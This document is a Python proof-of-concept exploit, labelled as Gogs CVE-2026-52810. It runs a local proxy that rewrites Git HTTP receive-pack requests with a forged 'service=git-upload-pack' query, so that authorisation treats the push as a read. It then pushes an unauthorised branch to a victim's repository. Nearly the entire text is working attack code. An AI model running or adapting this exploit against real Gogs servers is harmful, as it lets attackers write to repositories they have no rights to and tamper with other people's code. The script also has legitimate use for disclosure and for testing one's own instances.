Gogs CVE-2026-52810

from __future__ import annotations

import os
import shutil
import subprocess
import sys
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import quote, urlsplit, urlunsplit

import requests

REPO_URL = "http://localhost:3000/victim/target"
USERNAME = "attacker"
PASSWORD = "attacker"

class ProxyHandler(BaseHTTPRequestHandler):
    upstream_scheme: str
    upstream_netloc: str
    log_rewrite: bool

    def log_message(self, *_args) -> None:
        return

    def do_GET(self) -> None:
        self._relay("GET")

    def do_POST(self) -> None:
        self._relay("POST")

    def _relay(self, method: str) -> None:
        raw = self.path
        if raw.startswith("http://") or raw.startswith("https://"):
            u = urlsplit(raw)
            scheme, netloc, path, query = u.scheme, u.netloc, u.path, u.query
        else:
            u = urlsplit(raw)
            scheme, netloc, path, query = (
                self.upstream_scheme,
                self.upstream_netloc,
                u.path,
                u.query,
            )

        q = query or ""
        if path.endswith("/git-receive-pack") and "service=" not in q:
            query = f"{q}&service=git-upload-pack" if q else "service=git-upload-pack"
            if self.log_rewrite:
                sys.stderr.write(
                    f"[poc] rewrite receive-pack -> {path}?{query}\n")

        url = urlunsplit((scheme, netloc, path, query, ""))
        length = self.headers.get("Content-Length")
        body = self.rfile.read(int(length)) if length else None

        skip = {
            "host",
            "connection",
            "proxy-connection",
            "content-length",
            "transfer-encoding",
        }
        out_headers = {}
        for k, v in self.headers.items():
            if k.lower() in skip:
                continue
            out_headers[k] = v
        out_headers["Host"] = netloc

        try:
            with requests.request(
                method,
                url,
                data=body,
                headers=out_headers,
                timeout=600,
                stream=True,
            ) as resp:
                resp.raw.decode_content = False
                data = resp.raw.read()
                status = resp.status_code
                headers = resp.headers
        except requests.RequestException as exc:
            self.send_error(502, f"upstream: {exc}")
            return

        hop_by_hop = {
            "transfer-encoding",
            "connection",
            "content-encoding",
            "proxy-authenticate",
            "proxy-authorization",
            "te",
            "trailers",
            "upgrade",
        }
        self.send_response(status)
        for k, v in headers.items():
            if k.lower() in hop_by_hop:
                continue
            self.send_header(k, v)
        self.send_header("Content-Length", str(len(data)))
        self.end_headers()
        self.wfile.write(data)

def _run_git(cwd: str, *args: str, env: dict[str, str] | None = None) -> None:
    r = subprocess.run(["git", *args], cwd=cwd, env=env,
                       capture_output=True, text=True)
    if r.returncode != 0:
        sys.stderr.write(r.stdout or "")
        sys.stderr.write(r.stderr or "")
        raise SystemExit(r.returncode)

def main() -> None:
    base = urlsplit(REPO_URL)
    repo_path = f"{base.path.rstrip('/')}.git"
    auth = f"{quote(USERNAME, safe='')}:{quote(PASSWORD, safe='')}@{base.netloc}"
    remote = urlunsplit((base.scheme, auth, repo_path, "", ""))

    ProxyHandler.upstream_scheme = base.scheme
    ProxyHandler.upstream_netloc = base.netloc
    ProxyHandler.log_rewrite = True

    srv = HTTPServer(("127.0.0.1", 0), ProxyHandler)
    port = srv.server_address[1]
    t = threading.Thread(target=srv.serve_forever, daemon=True)
    t.start()

    tmp = tempfile.mkdtemp(prefix="gogs-git-poc-")
    try:
        _run_git(tmp, "init")
        _run_git(tmp, "config", "user.email", "poc@example.invalid")
        _run_git(tmp, "config", "user.name", "gogs git http poc")
        with open(f"{tmp}/POC_VULN.txt", "w", encoding="utf-8") as f:
            f.write(
                "Created by local PoC: Git HTTP path is receive-pack while "
                "authorization follows forged service=git-upload-pack.\n"
            )
        _run_git(tmp, "add", "POC_VULN.txt")
        _run_git(tmp, "commit", "-m",
                 "poc: unauthorized push via service query confusion")
        _run_git(tmp, "branch", "-M", "poc/git-http-confusion")
        _run_git(tmp, "remote", "add", "origin", remote)

        env = os.environ.copy()
        proxy_url = f"http://127.0.0.1:{port}"
        env["http_proxy"] = proxy_url
        env["HTTP_PROXY"] = proxy_url
        env["https_proxy"] = proxy_url
        env["HTTPS_PROXY"] = proxy_url

        push = subprocess.run(
            ["git", "push", "-u", "origin", "poc/git-http-confusion"],
            cwd=tmp,
            env=env,
            capture_output=True,
            text=True,
        )
        if push.returncode != 0:
            sys.stderr.write(push.stdout or "")
            sys.stderr.write(push.stderr or "")
            sys.exit(push.returncode)

        sys.stdout.write(push.stdout or "")
        sys.stderr.write(
            f"\n[poc] push succeeded. Branch poc/git-http-confusion should exist on {REPO_URL}.\n"
        )
    finally:
        srv.shutdown()
        shutil.rmtree(tmp, ignore_errors=True)

if __name__ == "__main__":
    main()